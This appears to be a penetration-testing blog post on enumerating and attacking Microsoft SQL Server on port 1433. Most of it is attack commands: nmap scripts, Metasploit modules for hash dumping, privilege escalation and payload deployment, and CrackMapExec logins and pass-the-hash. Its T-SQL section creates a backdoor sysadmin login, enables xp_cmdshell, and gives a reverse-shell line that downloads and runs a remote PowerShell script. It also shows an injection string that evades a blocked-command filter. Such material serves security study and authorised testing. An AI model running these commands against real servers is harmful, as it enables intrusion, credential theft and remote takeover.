1433/tcp MS-SQL – Enumeration MSSQL

by Vry4n_ | Mar 9, 2024 | Active Gathering

Microsoft SQL Server (MSSQL) is a relational database management system (RDBMS) developed by Microsoft. It is a robust and scalable database platform used by organizations for storing, managing, and retrieving data. SQL Server supports a wide range of transaction processing, business intelligence, and analytics applications. It offers various features including support for SQL queries, stored procedures, triggers, views, indexing, and data replication.

By default, SQL Server listens on port 1433 for TCP/IP connections. However, this port can be changed during installation or configuration.

Named Pipes: Named Pipes is another network protocol supported by SQL Server. It provides communication between processes on the same computer or between processes on different computers within the same network domain.

Shared Memory: Shared Memory is a protocol that allows communication between SQL Server and client applications running on the same computer. It provides high-performance communication by utilizing shared memory segments.

Connection Strings: Client applications use connection strings to specify the server name, database name, authentication method, and other connection parameters. Connection strings are essential for establishing connections to SQL Server databases.

Authentication: SQL Server supports various authentication modes, including Windows Authentication and SQL Server Authentication. Windows Authentication relies on Windows user accounts, while SQL Server Authentication uses SQL Server-specific usernames and passwords.

Default MS-SQL System Tables

• master Database: This database is crucial as it captures all system-level details for a SQL Server instance.
• msdb Database: SQL Server Agent utilizes this database to manage scheduling for alerts and jobs.
• model Database: Acts as a blueprint for every new database on the SQL Server instance, where any alterations like size, collation, recovery model, and more are mirrored in newly created databases.
• Resource Database: A read-only database that houses system objects that come with SQL Server. These objects, while stored physically in the Resource database, are logically presented in the sys schema of every database.
• tempdb Database: Serves as a temporary storage area for transient objects or intermediate result sets.

Enumeration

Nmap

1. Scan the port 1433

nmap -sV -sC -A -p 1433 192.168.0.100

ms-sql-ntlm-info: information related to NTLM (Windows NT LAN Manager) authentication. It includes details such as the target name, NetBIOS domain name, NetBIOS computer name, DNS domain name, DNS computer name, and product version.

ms-sql-info: information about the SQL Server instance, including the version, product name, service pack level (RC0), and whether post-service pack patches have been applied.

ssl-date: information about the SSL certificate associated with the SQL Server instance. It shows the date and time when the certificate was issued and its validity period.

ssl-cert: details about the SSL certificate, including the subject (common name) and validity period (not valid before and not valid after dates).

2. Execute a vulnerability scan

• nmap –script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes –script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 192.168.0.100

Metasploit

scanner/mssql/mssql_ping)

1. You can try to enumerate hosts running MSSQL in the network

• use auxiliary/scanner/mssql/mssql_ping
• set RHOSTS [192.168.0.0/24]
• set THREADS [number of threads]
• run

admin/mssql/mssql_enum (Authenticated)

1. Enumerate database information, table names, storage paths, policies, login information

• use admin/mssql/mssql_enum
• set RHOSTS 192.168.0.100
• set RHOSTS 192.168.0.100
• set USERNAME vry4n
• (OPTIONAL) set USE_WINDOWS_AUTHENT true
• (OPTIONAL) set DOMAIN <lab>

2. Run the script

admin/mssql/mssql_enum (authenticated)

1. Enumerate domain users

• use admin/mssql/mssql_enum_domain_accounts
• set RHOSTS 192.168.0.100
• set RHOSTS 192.168.0.100
• Set USERNAME vry4n
• (OPTIONAL) set USE_WINDOWS_AUTHENT true
• (OPTIONAL) set DOMAIN <lab>
• run

admin/mssql/mssql_enum_sql_logins

1. Enumerate logins

• use admin/mssql/mssql_enum_sql_logins
• set RHOSTS 192.168.0.100
• set RHOSTS 192.168.0.100
• Set USERNAME vry4n
• (OPTIONAL) set USE_WINDOWS_AUTHENT true
• (OPTIONAL) set DOMAIN <lab>
• run

auxiliary/admin/mssql/mssql_findandsampledata

1. Get database sample data

• use auxiliary/admin/mssql/mssql_findandsampledata

auxiliary/scanner/mssql/mssql_hashdump

1. Attempt to extract hashdump

• use auxiliary/scanner/mssql/mssql_hashdump

auxiliary/scanner/mssql/mssql_schemadump

1. extract the schema from a MSSQL Server Instance. It will disregard builtin and example DBs such as master, model, msdb, and tempdb.

• use auxiliary/scanner/mssql/mssql_schemadump

auxiliary/admin/mssql/mssql_idf

1. This module will search the specified MSSQL server for ‘interesting’ columns and data.

• use auxiliary/admin/mssql/mssql_idf

windows/mssql/mssql_linkcrawler

1. crawl MS SQL Server database links and deploy Metasploit payloads through links configured with sysadmin privileges using a valid SQL Server Login.

• use exploit/windows/mssql/mssql_linkcrawler

admin/mssql/mssql_escalate_execute_as

1. Escalate privileges if the IMPERSONATION privilege has been assigned to the user.

• use admin/mssql/mssql_escalate_execute_as

admin/mssql/mssql_escalate_dbowner

1. escalate privileges if the IMPERSONATION privilege has been assigned to the user.

• use admin/mssql/mssql_escalate_dbowner

admin/mssql/mssql_exec

1. Execute a Windows command on a MSSQL/MSDE instance via the xp_cmdshell (default) or the sp_oacreate procedure (more opsec safe, no output, no temporary data table). A valid username and password is required to use this module.

• use admin/mssql/mssql_exec
• set CMD <command>

windows/manage/mssql_local_auth_bypass

1. executes an arbitrary payload on a Microsoft SQL Server by using the “xp_cmdshell” stored procedure.

• use windows/manage/mssql_local_auth_bypass

Impacket-mssql

1. Login to the MSSQL instance

• impacket-mssqlclient -db Test_users lab/vry4n:IamAdmin123@192.168.0.100
• impacket-mssqlclient -db Test_users lab/vry4n:IamAdmin123@192.168.0.100 -windows-auth
• impacket-mssqlclient lab/vry4n:IamAdmin123@192.168.0.100 -windows-auth

Sqsh

1. Login to the MSSQL instance

• sqsh -S <IP> -U <Username> -P <Password> -D <Database>
• sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>

CrackMapExec

1. Execute commands

• crackmapexec mssql -d lab -u vry4n -p IamAdmin123 -x “<command>” 192.168.0.100
• crackmapexec mssql -d lab -u vry4n -p IamAdmin123 -x “whoami” 192.168.0.100

2. Pass the hash

• crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X ‘$PSVersionTable’

MSSQL commands to enumerate the database

# Get version

• select @@version;

# Get user

• select user_name();

# Get databases

• SELECT name FROM master.dbo.sysdatabases;

# Use database

• USE master

#Get table names

• SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;

#List Linked Servers

• EXEC sp_linkedservers
• SELECT * FROM sys.servers;

#List users

• select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then ‘Disabled’ else ‘Enabled’ end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in (‘G’, ‘R’) order by sp.name;

#Create user with sysadmin privs

• CREATE LOGIN hacker WITH PASSWORD = ‘P@ssword123!’
• EXEC sp_addsrvrolemember ‘hacker’, ‘sysadmin’

# Get all the users and roles

• select * from sys.database_principals;

## This query filters a bit the results

• SELECT name, create_date, modify_date, type_desc AS type, authentication_type_desc AS authentication_type, sid FROM sys.database_principals WHERE type NOT IN (‘A’, ‘R’) ORDER BY name;

## Both of these select all the users of the current database (not the server). Interesting when you cannot access the table sys.database_principals

• EXEC sp_helpuser
• SELECT * FROM sysusers

Permissions

1, Securable: Defined as the resources managed by SQL Server for access control. These are categorized into:

• Server – Examples include databases, logins, endpoints, availability groups, and server roles.
• Database – Examples cover database role, application roles, schema, certificates, full text catalogs, and users.
• Schema – Includes tables, views, procedures, functions, synonyms, etc.

2. Permission: Associated with SQL Server securables, permissions such as ALTER, CONTROL, and CREATE can be granted to a principal. Management of permissions occurs at two levels:

• Server Level using logins
• Database Level using users

3. Principal: This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights.

# Show all different securables names

• SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);

# Show all possible permissions in MSSQL

• SELECT * FROM sys.fn_builtin_permissions(DEFAULT);

# Get all my permissions over securable type SERVER

• SELECT * FROM fn_my_permissions(NULL, ‘SERVER’);

# Get all my permissions over a database

• USE <database>
• SELECT * FROM fn_my_permissions(NULL, ‘DATABASE’);

# Get members of the role “sysadmin”

• Use master
• EXEC sp_helpsrvrolemember ‘sysadmin’;

# Get if the current user is sysadmin

• SELECT IS_SRVROLEMEMBER(‘sysadmin’);

# Get users that can run xp_cmdshell

• Use master
• EXEC sp_helprotect ‘xp_cmdshell’

# Check if xp_cmdshell is enabled

SELECT * FROM sys.configurations WHERE name = ‘xp_cmdshell’;

Note that in order to be able to execute commands it’s not only necessary to have xp_cmdshell enabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:

• Use master
• EXEC sp_helprotect ‘xp_cmdshell’

# This turns on advanced options and is needed to configure xp_cmdshell

• sp_configure ‘show advanced options’, ‘1’
• RECONFIGURE

#This enables xp_cmdshell

• sp_configure ‘xp_cmdshell’, ‘1’
• RECONFIGURE

#One liner

• sp_configure ‘Show Advanced Options’, 1; RECONFIGURE; sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell

• EXEC master..xp_cmdshell ‘whoami’

# Get Rev shell

• EXEC xp_cmdshell ‘echo IEX(New-Object Net.WebClient).DownloadString(“http://10.10.14.13:8000/rev.ps1”) | powershell -noprofile’

# Bypass blackisted “EXEC xp_cmdshell”

• ‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping 192.168.0.11’ —

# You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:

Use master;

• EXEC sp_helprotect ‘xp_dirtree’;
• EXEC sp_helprotect ‘xp_subdirs’;
• EXEC sp_helprotect ‘xp_fileexist’;